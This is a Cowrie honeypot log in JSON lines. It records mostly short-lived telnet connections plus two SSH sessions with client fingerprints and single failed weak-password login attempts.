{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59634,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c15b934c304","protocol":"telnet","message":"New connection: 185.111.235.80:59634 (10.17.0.5:23) [session: 0c15b934c304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:27.731758Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59898,"dst_ip":"10.17.0.5","dst_port":23,"session":"138cf33e922a","protocol":"telnet","message":"New connection: 185.111.235.80:59898 (10.17.0.5:23) [session: 138cf33e922a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:27.809611Z"}
{"eventid":"cowrie.session.closed","duration":30.323006629943848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:28.005475Z","src_ip":"117.120.7.112","session":"243bef20aeea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55195188522339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:28.034259Z","src_ip":"117.120.7.112","session":"9243b179d80e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d17b655fd65","protocol":"telnet","message":"New connection: 117.120.7.112:53502 (159.203.135.109:23) [session: 3d17b655fd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:28.065341Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56064,"dst_ip":"10.17.0.5","dst_port":23,"session":"e36407dffd0b","protocol":"telnet","message":"New connection: 185.111.235.80:56064 (10.17.0.5:23) [session: e36407dffd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:28.108122Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33230,"dst_ip":"10.17.0.5","dst_port":23,"session":"424301451293","protocol":"telnet","message":"New connection: 185.111.235.80:33230 (10.17.0.5:23) [session: 424301451293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:28.129029Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34028,"dst_ip":"10.17.0.5","dst_port":23,"session":"67eec13a202d","protocol":"telnet","message":"New connection: 185.111.235.80:34028 (10.17.0.5:23) [session: 67eec13a202d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:28.247148Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36884,"dst_ip":"10.17.0.5","dst_port":23,"session":"3307fc92c6d2","protocol":"telnet","message":"New connection: 185.111.235.80:36884 (10.17.0.5:23) [session: 3307fc92c6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:28.791740Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60068,"dst_ip":"10.17.0.5","dst_port":23,"session":"f38274d6c8a5","protocol":"telnet","message":"New connection: 185.111.235.80:60068 (10.17.0.5:23) [session: f38274d6c8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:28.843606Z"}
{"eventid":"cowrie.session.closed","duration":31.200150728225708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:29.058693Z","src_ip":"117.120.7.112","session":"fd204342d88a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38942,"dst_ip":"10.17.0.5","dst_port":23,"session":"b53e63e15b29","protocol":"telnet","message":"New connection: 185.111.235.80:38942 (10.17.0.5:23) [session: b53e63e15b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:29.174113Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56584,"dst_ip":"159.203.135.109","dst_port":23,"session":"27d93b2af8ea","protocol":"telnet","message":"New connection: 117.120.7.112:56584 (159.203.135.109:23) [session: 27d93b2af8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:29.245055Z"}
{"eventid":"cowrie.session.closed","duration":31.191224575042725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:29.330560Z","src_ip":"185.111.235.80","session":"d0640e1c3140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214603900909424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:29.360312Z","src_ip":"185.111.235.80","session":"b0826de32fc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35176,"dst_ip":"10.17.0.5","dst_port":23,"session":"15dace15dde5","protocol":"telnet","message":"New connection: 185.111.235.80:35176 (10.17.0.5:23) [session: 15dace15dde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:29.439719Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41766,"dst_ip":"10.17.0.5","dst_port":23,"session":"566b98e75613","protocol":"telnet","message":"New connection: 185.111.235.80:41766 (10.17.0.5:23) [session: 566b98e75613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:29.654932Z"}
{"eventid":"cowrie.session.closed","duration":30.841355562210083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:29.983383Z","src_ip":"185.111.235.80","session":"f6a8b294f93b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26121211051941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:30.041115Z","src_ip":"185.111.235.80","session":"8e81ac2873a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2976016998291,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:30.103896Z","src_ip":"117.120.7.112","session":"7304f1c21397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226025819778442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:30.275250Z","src_ip":"185.111.235.80","session":"307a43fcf2e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":58834,"dst_ip":"159.203.135.109","dst_port":23,"session":"75fdac8b6a1e","protocol":"telnet","message":"New connection: 117.120.7.112:58834 (159.203.135.109:23) [session: 75fdac8b6a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:30.331645Z"}
{"eventid":"cowrie.session.closed","duration":30.67738127708435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:30.380586Z","src_ip":"185.111.235.80","session":"2b90f66e496e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45334,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e946962621","protocol":"telnet","message":"New connection: 185.111.235.80:45334 (10.17.0.5:23) [session: 13e946962621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:30.397280Z"}
{"eventid":"cowrie.session.closed","duration":30.779839515686035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:30.936229Z","src_ip":"185.111.235.80","session":"8f6f818c861d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33006,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad60c63d3b9","protocol":"ssh","message":"New connection: 176.65.139.103:33006 (10.17.0.5:22) [session: 8ad60c63d3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:31.137203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:31.143499Z","src_ip":"176.65.139.103","session":"8ad60c63d3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:31.225590Z","src_ip":"176.65.139.103","session":"8ad60c63d3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49702,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d50469eda11","protocol":"telnet","message":"New connection: 185.111.235.80:49702 (10.17.0.5:23) [session: 6d50469eda11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:31.241776Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":32914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7a8ff3e97e0","protocol":"telnet","message":"New connection: 117.120.7.112:32914 (159.203.135.109:23) [session: c7a8ff3e97e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:31.334611Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51352,"dst_ip":"10.17.0.5","dst_port":23,"session":"450edcb2ee68","protocol":"telnet","message":"New connection: 185.111.235.80:51352 (10.17.0.5:23) [session: 450edcb2ee68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:31.563533Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:31.653431Z","src_ip":"176.65.139.103","session":"8ad60c63d3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.305423498153687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.037980Z","src_ip":"117.120.7.112","session":"6a974c689b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48982,"dst_ip":"10.17.0.5","dst_port":23,"session":"3953330e26f5","protocol":"telnet","message":"New connection: 185.111.235.80:48982 (10.17.0.5:23) [session: 3953330e26f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.148439Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56002,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e34ed834a09","protocol":"telnet","message":"New connection: 185.111.235.80:56002 (10.17.0.5:23) [session: 5e34ed834a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.514784Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56254,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6e3fbaa5269","protocol":"telnet","message":"New connection: 185.111.235.80:56254 (10.17.0.5:23) [session: b6e3fbaa5269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.550015Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37218,"dst_ip":"159.203.135.109","dst_port":22,"session":"c431fc9bb7c6","protocol":"ssh","message":"New connection: 159.203.92.129:37218 (159.203.135.109:22) [session: c431fc9bb7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.629679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.633947Z","src_ip":"159.203.92.129","session":"c431fc9bb7c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.655932Z","src_ip":"159.203.92.129","session":"c431fc9bb7c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz2WSX","message":"login attempt [ansible/1qaz2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.670727Z","src_ip":"159.203.92.129","session":"c431fc9bb7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.851712703704834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.898127Z","src_ip":"185.111.235.80","session":"0cf42c103e53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:32.931303Z","src_ip":"176.65.139.103","session":"8ad60c63d3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53196,"dst_ip":"10.17.0.5","dst_port":23,"session":"76956f82b325","protocol":"telnet","message":"New connection: 185.111.235.80:53196 (10.17.0.5:23) [session: 76956f82b325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:33.045781Z"}
{"eventid":"cowrie.session.closed","duration":30.642319917678833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:33.259856Z","src_ip":"117.120.7.112","session":"6e61f50c46cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54726,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd65f160877","protocol":"telnet","message":"New connection: 185.111.235.80:54726 (10.17.0.5:23) [session: 0fd65f160877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:33.326578Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:33.676887Z","src_ip":"159.203.92.129","session":"c431fc9bb7c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35124,"dst_ip":"10.17.0.5","dst_port":23,"session":"27629b7cf94f","protocol":"telnet","message":"New connection: 185.111.235.80:35124 (10.17.0.5:23) [session: 27629b7cf94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:34.048890Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53320,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e4652201ab","protocol":"telnet","message":"New connection: 185.111.235.80:53320 (10.17.0.5:23) [session: a8e4652201ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:34.092079Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35732,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e34c95c9232","protocol":"telnet","message":"New connection: 185.111.235.80:35732 (10.17.0.5:23) [session: 6e34c95c9232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:34.156215Z"}
{"eventid":"cowrie.session.closed","duration":30.768867015838623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:34.256560Z","src_ip":"117.120.7.112","session":"e1581972a869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34266,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b31d35bdbb","protocol":"telnet","message":"New connection: 185.111.235.80:34266 (10.17.0.5:23) [session: b7b31d35bdbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:34.874205Z"}
{"eventid":"cowrie.session.closed","duration":30.782140970230103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:34.930965Z","src_ip":"185.111.235.80","session":"efee6b04bb4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510151624679565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:34.945922Z","src_ip":"185.111.235.80","session":"a406fbfd3474","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41176,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b2535a8d3de","protocol":"telnet","message":"New connection: 185.111.235.80:41176 (10.17.0.5:23) [session: 9b2535a8d3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:35.201993Z"}
{"eventid":"cowrie.session.closed","duration":30.7719087600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:35.267677Z","src_ip":"117.120.7.112","session":"8f6b603a7eaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59872,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dea079434f2","protocol":"telnet","message":"New connection: 185.111.235.80:59872 (10.17.0.5:23) [session: 9dea079434f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:35.339458Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43476,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ffa63776a32","protocol":"telnet","message":"New connection: 185.111.235.80:43476 (10.17.0.5:23) [session: 4ffa63776a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:35.662855Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38972,"dst_ip":"10.17.0.5","dst_port":23,"session":"5324f2500faa","protocol":"telnet","message":"New connection: 185.111.235.80:38972 (10.17.0.5:23) [session: 5324f2500faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:35.771970Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45950,"dst_ip":"10.17.0.5","dst_port":23,"session":"5560fc7ef7c9","protocol":"telnet","message":"New connection: 185.111.235.80:45950 (10.17.0.5:23) [session: 5560fc7ef7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:36.254191Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46134,"dst_ip":"10.17.0.5","dst_port":23,"session":"476b3aa55d1a","protocol":"telnet","message":"New connection: 185.111.235.80:46134 (10.17.0.5:23) [session: 476b3aa55d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:36.276929Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48254,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a3c8cd043a6","protocol":"telnet","message":"New connection: 185.111.235.80:48254 (10.17.0.5:23) [session: 7a3c8cd043a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:36.709129Z"}
{"eventid":"cowrie.session.closed","duration":31.179520845413208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:36.795353Z","src_ip":"185.111.235.80","session":"2ccc8db211aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664862632751465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:36.931916Z","src_ip":"185.111.235.80","session":"652db25c9022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49706,"dst_ip":"10.17.0.5","dst_port":23,"session":"787033d0d57d","protocol":"telnet","message":"New connection: 185.111.235.80:49706 (10.17.0.5:23) [session: 787033d0d57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.050509Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40220,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c32817b549d","protocol":"telnet","message":"New connection: 185.111.235.80:40220 (10.17.0.5:23) [session: 8c32817b549d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.070688Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45280,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b213f9cc22","protocol":"telnet","message":"New connection: 185.111.235.80:45280 (10.17.0.5:23) [session: c1b213f9cc22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.140052Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51242,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf18fc2cb9a1","protocol":"telnet","message":"New connection: 185.111.235.80:51242 (10.17.0.5:23) [session: cf18fc2cb9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.292534Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53280,"dst_ip":"10.17.0.5","dst_port":23,"session":"48dc6dfb3d0f","protocol":"telnet","message":"New connection: 185.111.235.80:53280 (10.17.0.5:23) [session: 48dc6dfb3d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.703070Z"}
{"eventid":"cowrie.session.closed","duration":34.15569257736206,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:37.813880Z","src_ip":"185.111.235.80","session":"3fe5686755d4","protocol":"telnet"}
